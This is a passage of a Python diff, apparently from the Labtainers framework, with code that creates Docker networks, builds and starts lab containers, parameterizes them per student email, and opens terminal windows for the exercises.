CheckPromisc(iface): + logger.WARNING("network %s not in promisc mode, required for macvlan inter-vbox comms\nUse: sudo ifconfig %s promisc" % (iface, iface)) + macvlan = '-o parent=%s -o macvlan_mod=bridge' % iface + net_type = 'macvlan' + if subnets[subnet_name].ip_range is not None: + ip_range = '--ip-range %s' % subnets[subnet_name].ip_range + if subnets[subnet_name].gateway != None: + logger.DEBUG(subnets[subnet_name].gateway) + subnet_gateway = subnets[subnet_name].gateway + command = "docker network create -d %s --gateway=%s --subnet %s %s %s %s" % (net_type, subnet_gateway, subnet_network_mask, macvlan, ip_range, subnet_name) + else: + command = "docker network create -d %s --subnet %s %s %s %s" % (net_type, subnet_network_mask, macvlan, ip_range, subnet_name) + logger.DEBUG("Command to execute is (%s)" % command) + #create_result = subprocess.call(command, shell=True) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + logger.DEBUG("stdout of subprocess.call CreateSubnets docker network create is %s" % output[0]) + if len(output[1]) > 0: + logger.DEBUG('stderr of %s is %s' % (command, output[1])) + found_match_network = False + found_match_network_name = "" + # Before a hard exit - give the user some indication of what to do next + # First check to see if a gateway is provided and it is already used + if subnets[subnet_name].gateway != None: + found_match_network, found_match_network_name = FindNetworkGivenGatewayIP(subnets[subnet_name].gateway) + # If Gateway IP address not okay, no need to check subnet anymore + if not found_match_network: + # Gateway IP address might be okay but subnet mask might not + found_match_network, found_match_network_name = FindNetworkGivenSubnet(subnet_network_mask) + else: + # No Gateway IP address, check the subnet mask only + found_match_network, found_match_network_name = FindNetworkGivenSubnet(subnet_network_mask) + + # At this point, if still not found then just print error and exit + if not found_match_network: + logger.ERROR("Failed to create %s subnet at %s, %s\n" % (subnet_name, subnet_network_mask, output[1])) + logger.ERROR("command was %s\n" % command) + sys.exit(1) + else: + # Found either a network matching the Gateway IP address or matching subnet + lablist = [] + # See if any lab is using that network + lablist = GetListLabContainerOnNetwork(found_match_network_name) + if lablist == []: + # No lab is using the network - tell user to remove that "left-over" network + logger.ERROR("An existing Docker network is preventing this lab from starting.") + logger.ERROR("Try removing the network with:") + logger.ERROR("docker network rm %s" % found_match_network_name) + sys.exit(1) + else: + # There is lab using that network - tell user to stop that lab first + logger.ERROR("An existing Docker network is preventing this lab from starting.") + logger.ERROR("This may be due to a failure to stop a previous lab.") + logger.ERROR("Please stop the lab %s and try again." % lablist) + sys.exit(1) + else: + logger.WARNING("Already exists! Not creating %s subnet at %s!\n" % (subnet_name, subnet_network_mask)) + +def RemoveSubnets(subnets, ignore_stop_error): + for subnet_name in subnets: + command = "docker network rm %s" % subnet_name + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + if ignore_stop_error: + logger.DEBUG('Encountered error removing subnet %s' % subnet_name) + else: + logger.ERROR('Encountered error removing subnet %s' % subnet_name) + +EMAIL_TMP='./.tmp/email.txt' +def getLastEmail(): + retval = None + if os.path.isfile(EMAIL_TMP): + with open(EMAIL_TMP) as fh: + retval = fh.read() + if retval is not None: + retval = retval.strip() + return retval + +def putLastEmail(email): + try: + os.mkdir('./.tmp') + except: + pass + with open(EMAIL_TMP, 'w') as fh: + fh.write(email) + +def GetLabSeed(lab_master_seed, student_email): + # Create hash using LAB_MASTER_SEED concatenated with user's e-mail + # LAB_MASTER_SEED is per laboratory - specified in start.config + string_to_be_hashed = '%s:%s' % (lab_master_seed, student_email) + mymd5 = md5.new() + mymd5.update(string_to_be_hashed) + mymd5_hex_string = mymd5.hexdigest() + return mymd5_hex_string + +#def ParamStartConfig(lab_seed): + +def ParamForStudent(lab_master_seed, mycontainer_name, container_user, container_password, labname, student_email, lab_path, name, image_info): + mymd5_hex_string = GetLabSeed(lab_master_seed, student_email) + logger.DEBUG(mymd5_hex_string) + + if not ParameterizeMyContainer(mycontainer_name, container_user, container_password, mymd5_hex_string, + student_email, labname, lab_path, name, image_info): + logger.ERROR("Failed to parameterize lab container %s!\n" % mycontainer_name) + sys.exit(1) + logger.DEBUG('back from ParameterizeMyContainer for %s' % mycontainer_name) + +def DockerCmd(cmd, noloop=False): + ok = False + count = 0 + if noloop: + count = 1000 + while not ok: + logger.DEBUG("Command to execute is (%s)" % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + count += 1 + logger.DEBUG("Failed cmd %s %s" % (cmd, output[1])) + if count > 1: + return False + time.sleep(1) + else: + ok = True + if len(output[0]) > 0: + logger.DEBUG("cmd %s stdout: %s" % (cmd, output[0])) + return True + + +def CopyInstrConfig(mycontainer_name, container_user, lab_path): + cmd = 'docker cp %s/instr_config/. %s:/home/%s/.local/instr_config/' % (lab_path, mycontainer_name, container_user) + if not DockerCmd(cmd): + logger.ERROR('failed %s' % cmd) + exit(1) + cmd = 'docker cp %s/config/. %s:/home/%s/.local/config/' % (lab_path, mycontainer_name, container_user) + if not DockerCmd(cmd): + logger.ERROR('failed %s' % cmd) + exit(1) + + +def CopyLabBin(mycontainer_name, container_user, lab_path, name, image_info): + cmd = 'docker cp lab_bin/. %s:/home/%s/.local/bin/' % (mycontainer_name, container_user) + if not DockerCmd(cmd): + logger.ERROR('failed %s' % cmd) + exit(1) + + ''' TBD DO NOT move lab/config here -- would not catch the tar_list.txt files (skip list) ''' + ''' TBD perhaps move lab/_bin to here? would it save duplicate containers?''' + #container_bin = os.path.join(lab_path, name,'_bin') + #if os.path.isdir(container_bin): + # cmd = 'docker cp %s/. %s:/home/%s/.local/bin/' % (container_bin, mycontainer_name, container_user) + # DockerCmd(cmd) + tmp_dir=os.path.join('/tmp/labtainers', mycontainer_name) + shutil.rmtree(tmp_dir, ignore_errors=True) + try: + os.makedirs(tmp_dir) + except os.error: + logger.ERROR("did not expect to find dir %s" % tmp_dir) + + if not os.path.isfile('./lab_sys/sbin/capinout'): + print('\n\n********* ERROR ***********') + print('./lab_sys/sbin/capinout is missing. If this is a development system, you may need to') + print('go to the tool-src/capinout directory and run ./mkit.sh') + + dest_tar = os.path.join(tmp_dir, 'labsys.tar') + cmd = 'tar cf %s -C ./lab_sys sbin lib &>/dev/null' % dest_tar + os.system(cmd) + + cmd = 'docker cp %s %s:/var/tmp/' % (dest_tar, mycontainer_name) + if not DockerCmd(cmd): + logger.ERROR('failed %s' % cmd) + exit(1) + + cmd = 'docker exec %s script -q -c "sudo tar -x --keep-directory-symlink -f /var/tmp/labsys.tar -C /"' % (mycontainer_name) + if not DockerCmd(cmd): + cmd = 'docker cp lab_sys/. %s:/' % (mycontainer_name) + if not DockerCmd(cmd): + logger.ERROR('failed %s' % cmd) + exit(1) + +# Copy Students' Artifacts from host to instructor's lab container +def CopyStudentArtifacts(labtainer_config, mycontainer_name, labname, container_user, container_password): + # Set the lab name + command = 'docker exec %s script -q -c "echo %s > /home/%s/.local/.labname" /dev/null' % (mycontainer_name, labname, container_user) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts set labname is %s (1=>FAILURE)" % result) + if result == FAILURE: + logger.ERROR("Failed to set labname in container %s!\n" % mycontainer_name) + sys.exit(1) + + # Create is_grade_container + command = 'docker exec %s script -q -c "echo TRUE > /home/%s/.local/.is_grade_container" /dev/null' % (mycontainer_name, container_user) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts create is_grade_container is %s (1=>FAILURE)" % result) + if result == FAILURE: + logger.ERROR("Failed to create is_grade_container in container %s!\n" % mycontainer_name) + sys.exit(1) + + username = getpass.getuser() + xfer_dir = os.path.join(labtainer_config.host_home_xfer, labname) + zip_filelist = glob.glob('/home/%s/%s/*.zip' % (username, xfer_dir)) + logger.DEBUG("filenames is (%s)" % zip_filelist) + # Copy zip files from 'Shared' folder to 'home/$CONTAINER_USER' + for fname in zip_filelist: + logger.DEBUG("name is %s" % fname) + base_fname = os.path.basename(fname) + # Copy zip file + command = 'docker cp %s %s:/home/%s/' % (fname, mycontainer_name, container_user) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command)) + logger.DEBUG("Result of subprocess.call CopyStudentArtifacts copy zipfile (%s) is %s (1=>FAILURE)" % (fname, result)) + if result == FAILURE: + logger.ERROR("Failed to copy student artifacts into container %s!\n" % mycontainer_name) + sys.exit(1) + #command = 'docker exec %s echo "%s\n" | sudo -S chown %s:%s /home/%s/%s' % (mycontainer_name, container_password, + # container_user, container_user, container_user, base_fname) + #command = 'docker exec %s chown %s:%s /home/%s/%s' % (mycontainer_name, + # container_user, container_user, container_user, base_fname) + #logger.DEBUG("Command to execute is (%s)" % command) + #result = subprocess.call(command, shell=True) + #logger.DEBUG("Result of subprocess.call CopyStudentArtifacts copy zipfile (%s) is %s" % (fname, result)) + #if result == FAILURE: + # logger.ERROR("Failed to set labname in container %s!\n" % mycontainer_name) + # sys.exit(1) + +def GetRunningContainersList(): + cmd = "docker container ls --format {{.Names}}" + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + logger.DEBUG('No running containers: error returned %s, return false' % output[1]) + return False, None + result = output[0].strip() + logger.DEBUG('result is %s' % result) + if 'Error:' in result or len(result.strip()) == 0: + if 'Error:' in result: + logger.DEBUG("Command was (%s)" % cmd) + logger.DEBUG("Error from command = '%s'" % result) + return False, result + containers_list = result.split('\n') + return True, containers_list + +def GetRunningLabNames(containers_list): + labnameslist = [] + found_lab_role = False + for each_container in containers_list: + #print each_container + if each_container.endswith('.student'): + splitstring = each_container.split('.') + labname = splitstring[0] + found_lab_role = True + if labname not in labnameslist: + labnameslist.append(labname) + return found_lab_role, labnameslist + +class ImageInfo(): + def __init__(self, name, creation, user, local, local_build, version, use_tag): + self.name = name + self.creation = creation + self.user = user + self.local = local + ''' whether a locally built image ''' + self.local_build = local_build + self.version = None + self.use_tag = use_tag + if version is not None: + version = version.replace('"', '') + if version != 'null' and len(version.strip()) > 0: + try: + self.version = version + except: + logger.ERROR('failed getting version from string <%s>' % version) + traceback.print_exc() + traceback.print_stack() + exit(1) + +def inspectImage(image_name): + created = None + user = None + version = None + cmd = "docker inspect -f '{{.Created}}' --type image %s" % image_name + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + created = output[0].strip() + cmd = "docker inspect -f '{{.Config.User}}' --type image %s" % image_name + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + user = output[0].strip() + cmd = "docker inspect --format='{{json .Config.Labels.version}}' --type image %s" % image_name + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + version = output[0].strip() + return created, user, version + +def imageInfo(image_name, registry, labtainer_config, is_rebuild=False, no_pull=False, quiet=False): + ''' image_name lacks registry info (always) + First look if plain image name exists, suggesting + an ongoing build/test situation ''' + retval = None + use_tag = 'latest' + created, user, version = inspectImage(image_name) + if created is not None: + retval = ImageInfo(image_name, created, user, True, True, version, use_tag) + logger.DEBUG('%s local built, ts %s %s' % (image_name, created, user)) + else: + ''' next see if there is a local image from the desired registry ''' + with_registry = '%s/%s' % (registry, image_name) + created, user, version = inspectImage(with_registry) + if created is not None: + retval = ImageInfo(with_registry, created, user, True, False, version, use_tag) + logger.DEBUG('%s local from reg, ts %s %s version: %s' % (with_registry, created, user, version)) + elif not no_pull: + ''' See if the image exists in the desired registry ''' + if registry == labtainer_config.test_registry: + created, user, version, use_tag, base = InspectLocalReg.inspectLocal(image_name, registry, is_rebuild, quiet) + else: + created, user, version, use_tag = InspectRemoteReg.inspectRemote(with_registry, is_rebuild, quiet) + if created is not None: + logger.DEBUG('%s only on registry %s, ts %s %s version %s use_tag %s' % (with_registry, registry, created, user, version, use_tag)) + retval = ImageInfo(with_registry, created, user, False, False, version, use_tag) + if retval is None: + logger.DEBUG('%s not found anywhere' % image_name) + + return retval + +def ImageExists(image_name, registry): + ''' + determine if a given image exists. + ''' + retval = True + logger.DEBUG('check existence of image %s registry %s' % (image_name, registry)) + cmd = "docker inspect -f '{{.Created}}' --type image %s" % image_name + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) > 0: + if registry is not None: + with_registry = '%s/%s' % (registry, image_name) + return ImageExists(with_registry, None) + else: + logger.DEBUG('No image: error returned %s, return false' % output[1]) + return False, None, None + result = output[0].strip() + #logger.DEBUG('result is %s' % result) + if 'Error:' in result or len(result.strip()) == 0: + if registry is not None: + with_registry = '%s/%s' % (image_name, registry) + return ImageExists(with_registry, None) + else: + if 'Error:' in result: + logger.DEBUG("Command was (%s)" % cmd) + logger.DEBUG("Error from command = '%s'" % result) + return False, result, image_name + return True, result, image_name + +def GetBothConfigs(lab_path, logger, servers=None, clone_count=None): + labtainer_config_dir = os.path.join(os.path.dirname(os.path.dirname(lab_path)), 'config', 'labtainer.config') + labtainer_config = ParseLabtainerConfig.ParseLabtainerConfig(labtainer_config_dir, logger) + labname = os.path.basename(lab_path) + config_path = os.path.join(lab_path,"config") + start_config_path = os.path.join(config_path,"start.config") + start_config = ParseStartConfig.ParseStartConfig(start_config_path, labname, + labtainer_config, logger, servers=servers, clone_count=clone_count) + return labtainer_config, start_config + +def RebuildLab(lab_path, force_build=False, quiet_start=False, + just_container=None, run_container=None, servers=None, clone_count=None, no_pull=False): + # Pass 'True' to ignore_stop_error (i.e., ignore certain error encountered during StopLab + # since it might not even be an error) + StopLab(lab_path, True, run_container=run_container, servers=servers, clone_count=clone_count) + logger.DEBUG('Back from StopLab clone_count was %s' % clone_count) + labname = os.path.basename(lab_path) + my_start_config = os.path.join('./.tmp',labname, 'start.config') + if os.path.isfile(my_start_config): + logger.DEBUG('Cached start.config removed %s' % my_start_config) + os.remove(my_start_config) + labtainer_config, start_config = GetBothConfigs(lab_path, logger, servers, clone_count) + + DoRebuildLab(lab_path, force_build=force_build, + just_container=just_container, start_config = start_config, + labtainer_config = labtainer_config, run_container=run_container, + servers=servers, clone_count=clone_count, no_pull=no_pull) + + # Check existence of /home/$USER/$HOST_HOME_XFER directory - create if necessary + host_home_xfer = labtainer_config.host_home_xfer + myhomedir = os.environ['HOME'] + host_xfer_dir = '%s/%s' % (myhomedir, host_home_xfer) + CreateHostHomeXfer(host_xfer_dir) + DoStart(start_config, labtainer_config, lab_path, quiet_start, + run_container, servers, clone_count) + +def dockerPull(registry, image_name): + cmd = 'docker pull %s/%s' % (registry, image_name) + logger.DEBUG('%s' % cmd) + print('pulling %s from %s' % (image_name, registry)) + ps = subprocess.Popen(shlex.split(cmd), stderr=subprocess.PIPE, stdout=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + return False + print('Done with pull') + return True + +def DoRebuildLab(lab_path, force_build=False, just_container=None, + start_config=None, labtainer_config=None, run_container=None, servers=None, + clone_count=None, no_pull=False): + retval = set() + labname = os.path.basename(lab_path) + is_valid_lab(lab_path) + if start_config is None: + labtainer_config, start_config = GetBothConfigs(lab_path, logger, servers, clone_count) + host_home_xfer = labtainer_config.host_home_xfer + + build_student = 'bin/buildImage.sh' + build_instructor = 'bin/buildInstructorImage.sh' + LABS_DIR = os.path.abspath('../../labs') + didfix = False + ''' hackey assumption about running from labtainers-student or labtainers-instructor ''' + container_bin = './lab_bin' + for name, container in start_config.containers.items(): + logger.DEBUG('this container name %s just_container %s' % (name, just_container)) + if just_container is not None and just_container != name: + continue + elif just_container == name: + force_build = True + print('Force build of %s' % just_container) + mycontainer_name = container.full_name + mycontainer_image_name = container.image_name + retval.add(container.registry) + + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + cmd = 'docker rm %s' % clone_full + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + #logger.DEBUG("Command was (%s)" % cmd) + if len(output[1]) > 0: + logger.DEBUG("Error from command %s was '%s'" % (cmd, output[1])) + + if container.from_image is not None: + logger.DEBUG('skip image taken from %s' % container.from_image) + continue + + force_this_build = force_build + logger.DEBUG('force_this_build: %r' % force_this_build) + image_info = imageInfo(mycontainer_image_name, container.registry, labtainer_config, is_rebuild=True, no_pull=no_pull) + if not force_this_build and image_info is None: + logger.DEBUG('image exists nowhere, so force the build') + force_this_build = True + container_dir = os.path.join(lab_path, name) + try: + os.mkdir(os.path.join(container_dir, 'home_tar')) + except: + pass + try: + os.mkdir(os.path.join(container_dir, 'sys_tar')) + except: + pass + ''' make sure big files have been copied before checking tars ''' + BigFiles.BigFiles(lab_path) + BigExternal.BigExternal(lab_path) + ''' create sys_tar and home_tar before checking build dependencies ''' + CheckTars.CheckTars(container_dir, name, logger) + if force_this_build or CheckBuild(lab_path, mycontainer_image_name, image_info, mycontainer_name, name, True, container_bin, start_config, container.registry, container.user): + logger.DEBUG("Will rebuild %s, force_this_build: %s" % (mycontainer_name, force_this_build)) + if os.path.isfile(build_student): + cmd = '%s %s %s %s %s %s %s %s %s %s %s' % (build_student, labname, name, container.user, + container.password, True, LABS_DIR, labtainer_config.apt_source, container.registry, framework_version, str(no_pull)) + elif os.path.isfile(build_instructor): + cmd = '%s %s %s %s %s %s %s %s %s %s %s' % (build_instructor, labname, name, container.user, + container.password, True, LABS_DIR, labtainer_config.apt_source, container.registry, framework_version, str(no_pull)) + else: + logger.ERROR("no image rebuild script\n") + exit(1) + logger.DEBUG('cmd is %s' % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + fatal_error = False + while True: + line = ps.stdout.readline() + if line != '': + #if 'Error in docker build result 1' in line: + if 'Error in docker build result 1' in line or 'Error in docker build result 2' in line \ + or 'syntax error' in line: + logger.ERROR(line) + fatal_error = True + else: + logger.DEBUG(line) + else: + break + while True: + line = ps.stderr.readline() + if line != '': + if 'Error in docker build result 1' in line or 'Error in docker build result 2' in line \ + or 'syntax error' in line: + logger.ERROR(line) + fatal_error = True + else: + logger.DEBUG(line) + else: + break + if fatal_error: + exit(1) + #if os.system(cmd) != 0: + # logger.ERROR("build of image failed\n") + # logger.DEBUG('cmd was %s' % cmd) + # exit(1) + return retval + +def defineAdditionalIP(container_name, post_start_if, post_start_nets): + for subnet in post_start_nets: + existing_ip = post_start_if[subnet] + cmd = "docker exec %s bash -c 'ifconfig'" % (container_name) + logger.DEBUG('cmd is %s' % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + logger.DEBUG('out0 %s \nout1 %s' % (output[0], output[1])) + current_if = None + this_if = None + for line in output[0].splitlines(): + parts = line.split() + if len(parts) < 2: + continue + if parts[1] == 'Link': + current_if = parts[0] + elif parts[1] == ('addr:%s' % post_start_if[subnet]): + this_if = current_if + break + count = 1 + for ip in post_start_nets[subnet]: + cmd = "docker exec %s bash -c 'ifconfig %s:%d %s'" % (container_name, this_if, count, ip) + logger.DEBUG('next cmd is %s' % cmd) + if not DockerCmd(cmd): + print('error doing %s' % cmd) + exit(1) + count += 1 + + + +def DoStartOne(labname, name, container, start_config, labtainer_config, lab_path, + student_email, quiet_start, results, auto_grade, image_info): + retval = True + mycontainer_name = container.full_name + mycontainer_image_name = container.image_name + container_user = container.user + container_password = container.password + container_hostname = container.hostname + ''' mananage interfaces with multiple IP addresses, docker does not support directly ''' + post_start_if = {} + post_start_nets = {} + + haveContainer = AllContainersCreated(container) + logger.DEBUG("DoStart for %s AllContainersCreated result (%s)" % (container.name, haveContainer)) + + # Set need_seeds=False first + need_seeds=False + # IsContainerCreated return False if container does not exists + if not haveContainer: + # Container does not exist, create the container + # Use CreateSingleContainer() + containerCreated = False + if len(container.container_nets) == 0: + containerCreated = CreateSingleContainer(labtainer_config, start_config, container, quiet=quiet_start) + else: + mysubnet_name, mysubnet_ip = container.container_nets.popitem() + subnet_name = mysubnet_name + if ':' in mysubnet_name: + subnet_name = mysubnet_name.split(':')[0] + post_start_if[subnet_name] = mysubnet_ip + containerCreated = CreateSingleContainer(labtainer_config, start_config, container, subnet_name, mysubnet_ip, quiet=quiet_start) + + logger.DEBUG("CreateSingleContainer result (%s)" % containerCreated) + if not containerCreated: + logger.ERROR("CreateSingleContainer fails to create container %s!\n" % mycontainer_name) + results.append(False) + return + + # Give the container some time -- just in case + #time.sleep(3) + # If we just create it, then set need_seeds=True + need_seeds=True + + # Check again - + haveContainer = AllContainersCreated(container) + logger.DEBUG("AllContainersCreated second check for %s result (%s)" % (container.name, haveContainer)) + + # IsContainerCreated returned False if container does not exists + if not haveContainer: + logger.ERROR("Container %s still not created!\n" % mycontainer_name) + results.append(False) + return + + clone_names = GetContainerCloneNames(container) + for mycontainer_name in clone_names: + for mysubnet_name, mysubnet_ip in container.container_nets.items(): + subnet_name = mysubnet_name + if ':' in mysubnet_name: + subnet_name = mysubnet_name.split(':')[0] + if subnet_name not in post_start_nets: + post_start_nets[subnet_name] = [] + if subnet_name not in post_start_if: + post_start_if[subnet_name] = mysubnet_ip + logger.DEBUG('container: %s assigned post_start_if[%s] %s, connecting' % (mycontainer_name, subnet_name, mysubnet_ip)) + connectNetworkResult = ConnectNetworkToContainer(start_config, mycontainer_name, subnet_name, mysubnet_ip) + else: + post_start_nets[subnet_name].append(mysubnet_ip) + else: + connectNetworkResult = ConnectNetworkToContainer(start_config, mycontainer_name, mysubnet_name, mysubnet_ip) + + # Start the container + if not StartMyContainer(mycontainer_name): + logger.ERROR("Container %s failed to start!\n" % mycontainer_name) + results.append(False) + return + defineAdditionalIP(mycontainer_name, post_start_if, post_start_nets) + + clone_need_seeds = need_seeds + if not clone_need_seeds: + cmd = "docker exec %s bash -c 'ls -l /var/labtainer/did_param'" % (mycontainer_name) + if not DockerCmd(cmd): + print('One or more containers exists but are not parameterized.') + print('Please restart this lab with the "-r" option.') + DoStop(start_config, labtainer_config, lab_path, False) + logger.ERROR('One or more containers exists but not parameterized.') + sys.exit(1) + + # If the container is just created, then use the previous user's e-mail + # then parameterize the container + elif quiet_start and clone_need_seeds: + ParamForStudent(start_config.lab_master_seed, mycontainer_name, container_user, container_password, + labname, student_email, lab_path, name, image_info) + + elif clone_need_seeds: + ParamForStudent(start_config.lab_master_seed, mycontainer_name, container_user, + container_password, labname, student_email, lab_path, name, image_info) + + results.append(retval) + +def GetUserEmail(quiet_start): + user_email = None + while user_email is None: + done = True + # Prompt user for e-mail address + eprompt = 'Please enter your e-mail address: ' + prev_email = getLastEmail() + if prev_email is not None: + eprompt = eprompt+" [%s]" % prev_email + + #checks if quiet_start is true + if quiet_start and prev_email is not None: + user_email = prev_email + else: + user_input = raw_input(eprompt) + if not all(c in string.printable for c in user_input): + print('Bad characters detected. Please re-enter email') + else: + user_email = user_input + if user_email is not None: + #user_email = raw_input(eprompt) + if len(user_email.strip()) == 0: + if prev_email is None: + print('You have provided an empty email address, which may cause your results to not be graded.') + confirm = str(raw_input('Use the empty address? (y/n)')).lower().strip() + if confirm != 'y': + user_email = None + else: + user_email = prev_email + else: + putLastEmail(user_email) + return user_email + +def CheckLabContainerApps(start_config, lab_path, apps2start): + apps2search = ['firefox', 'wireshark'] + has_multi_container = False + num_containers = len(start_config.containers.items()) + if num_containers > 1: + has_multi_container = True + + apps2startfilepath = os.path.join(lab_path, '*/_bin', 'student_startup.sh') + apps2start_list = glob.glob('%s' % apps2startfilepath) + + if apps2start_list != []: + # Parse each student_startup.sh - get a list of apps to start + # Currently only search for firefox or wireshark + for eachfile in apps2start_list: + with open(eachfile) as fh: + for line in fh: + if line.startswith('#') or len(line) == 0: + continue + for apps in apps2search: + if apps in line: + if apps not in apps2start: + apps2start.append(apps) + + return has_multi_container + +def ReloadStartConfig(lab_path, labtainer_config, start_config, student_email, logger, servers, clone_count): + + labname = os.path.basename(lab_path) + my_start_config = os.path.join('./.tmp',labname, 'start.config') + if not os.path.isfile(my_start_config): + config_path = os.path.join(lab_path,"config") + start_config_path = os.path.join(config_path,"start.config") + param_path = os.path.join(config_path,"parameter.config") + try: + os.makedirs(os.path.dirname(my_start_config)) + except os.error: + pass + shutil.copyfile(start_config_path, my_start_config) + lab_instance_seed = GetLabSeed(start_config.lab_master_seed, student_email) + logger.DEBUG("lab_instance_seed for <%s> <%s> is %s" % (start_config.lab_master_seed, student_email, lab_instance_seed)) + pp = ParameterParser.ParameterParser(None, None, lab_instance_seed, logger, lab=labname) + pp.ParseParameterConfig(param_path) + pp.DoReplace() + start_config = ParseStartConfig.ParseStartConfig(my_start_config, labname, labtainer_config, logger, skip_networks=False, + servers=servers, clone_count=clone_count) + logger.DEBUG('did start.config reload from %s' % my_start_config) + return start_config + + +def CheckEmailReloadStartConfig(start_config, quiet_start, lab_path, labtainer_config, logger, servers, clone_count): + student_email = None + for name, container in start_config.containers.items(): + # Obscure means of making sure we have an email and getting one if + # a container has not yet been created. + if not AllContainersCreated(container) and student_email is None: + if student_email == None: + student_email = GetUserEmail(quiet_start) + else: + student_email = GetUserEmail(True) + if student_email == None: + student_email = GetUserEmail(True) + start_config = ReloadStartConfig(lab_path, labtainer_config, start_config, student_email, logger, servers, clone_count) + return start_config, student_email + +def pidExists(pid): + """Check whether pid exists in the current process table. + UNIX only. + """ + if pid <= 0: + return False + try: + os.kill(pid, 0) + except OSError as err: + if err.errno == errno.ESRCH: + # ESRCH == No such process + return False + elif err.errno == errno.EPERM: + # EPERM clearly means there's a process to deny access to + return True + else: + # According to "man 2 kill" possible error values are + # (EINVAL, EPERM, ESRCH) + raise + else: + return True + +def ContainerTerminals(lab_path, start_config, container, terminal_count, terminal_groups): + num_terminal = int(container.terminals) + clone_names = GetContainerCloneNames(container) + for mycontainer_name in clone_names: + logger.DEBUG("container: %s Number of terminals: %d" % (mycontainer_name, num_terminal)) + CopyFilesToHost(lab_path, container.name, mycontainer_name, container.user) + ''' HACK remove after a while.... catch case where framework updated to remove XTERM Instructions, but still using image + that includes instructions, which then consumes a window ''' + if container.xterm is None: + cmd = "docker exec %s bash -c 'ls -l $HOME/instructions.txt'" % (mycontainer_name) + if DockerCmd(cmd, noloop=True): + logger.DEBUG('Found instructions, force xterm') + container.xterm = 'instructions' + + if container.xterm is not None: + logger.DEBUG('container.xterm is <%s>' % container.xterm) + parts = container.xterm.split() + title = parts[0] + command = None + if title.lower() == 'instructions' and len(parts) == 1: + command = 'startup.sh' + elif len(parts) == 2: + command = parts[1] + else: + logger.ERROR("Bad XTERM entryin in start.config: %s" % container.xterm) + exit(1) + if command is not None: + cmd = 'sh -c "cd /home/%s && .local/bin/%s"' % (container.user, command) + terminal_location, columns, lines = terminalCounter(terminal_count) + terminal_count += 1 + # note hack to change --geometry to -geometry + spawn_command = "xterm %s -title %s -sb -rightbar -fa 'Monospace' -fs 11 -e docker exec -it %s %s & 2>/tmp/xterm.out" % (terminal_location[1:], + title, mycontainer_name, cmd) + logger.DEBUG("xterm spawn: %s" % spawn_command) + xterm_pid = subprocess.Popen(shlex.split(spawn_command), stdout=subprocess.PIPE,stderr=subprocess.PIPE, close_fds=True).pid + # race condition, gnome may beat xterm to the startup.sh script + if command == 'startup.sh': + done = False + while pidExists(xterm_pid) and not done: + cmd = 'docker exec -it %s ls -l /tmp/.mylockdir' % mycontainer_name + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if 'No such file or directory' not in output[0]: + done = True + else: + time.sleep(0.2) + + # If the number of terminals is -1 or zero -- do not spawn + if not (num_terminal == 0 or num_terminal == -1): + for x in range(num_terminal): + #sys.stderr.write("%d \n" % terminal_count) + terminal_location, columns, lines = terminalCounter(terminal_count) + #sys.stderr.write("%s \n" % terminal_location) + #sys.stderr.write("%s \n" % mycontainer_name) + cmd = 'bash -l' + #spawn_command = "gnome-terminal %s -x docker exec -it %s bash -l &" % (terminal_location, mycontainer_name) + if container.terminal_group is not None: + if container.terminal_group not in terminal_groups: + terminal_count += 1 + terminal_groups[container.terminal_group] = [] + group_command = '"docker exec -it %s %s"' % (mycontainer_name, cmd) + terminal_groups[container.terminal_group].append(group_command) + else: + terminal_count += 1 + spawn_command = 'gnome-terminal %s -- docker exec -it --env COLUMNS=%d --env LINES=%d %s %s &' % (terminal_location, + columns, lines, mycontainer_name, cmd) + logger.DEBUG("gnome spawn: %s" % spawn_command) + #print spawn_command + os.system(spawn_command) + return terminal_count + +def SkipContainer(run_container, name, start_config, servers): + container = start_config.containers[name] + if run_container is not None and container.full_name != run_container: + return True + if servers is not None: + if servers == 'server': + if container.client == 'yes': + return True + elif servers == 'client': + if container.client != 'yes': + return True + return False + +def readFirst(lab_path, labname, fname, quiet_start, bail_option=False): + # + # If a fname exists in the lab's config directory, less it before the student continues. + # + doc_dir = os.path.join(lab_path, 'docs') + read_first = os.path.join(doc_dir, fname) + pdf = '%s.pdf' % labname + manual = os.path.join(doc_dir, pdf) + + if os.path.isfile(read_first): + print '\n\n' + command = 'cat %s' % read_first + less = subprocess.Popen(command.split(), stdout=subprocess.PIPE) + sed_cmd = "sed -e s+LAB_MANUAL+%s+ -e s+LAB_DOCS+%s+" % (manual, doc_dir) + sed = subprocess.Popen(sed_cmd.split(), stdin=less.stdout, stdout=subprocess.PIPE) + output = sed.communicate()[0] + print output + if not quiet_start: + less.wait() + if not bail_option: + dumb = raw_input("Press to start the 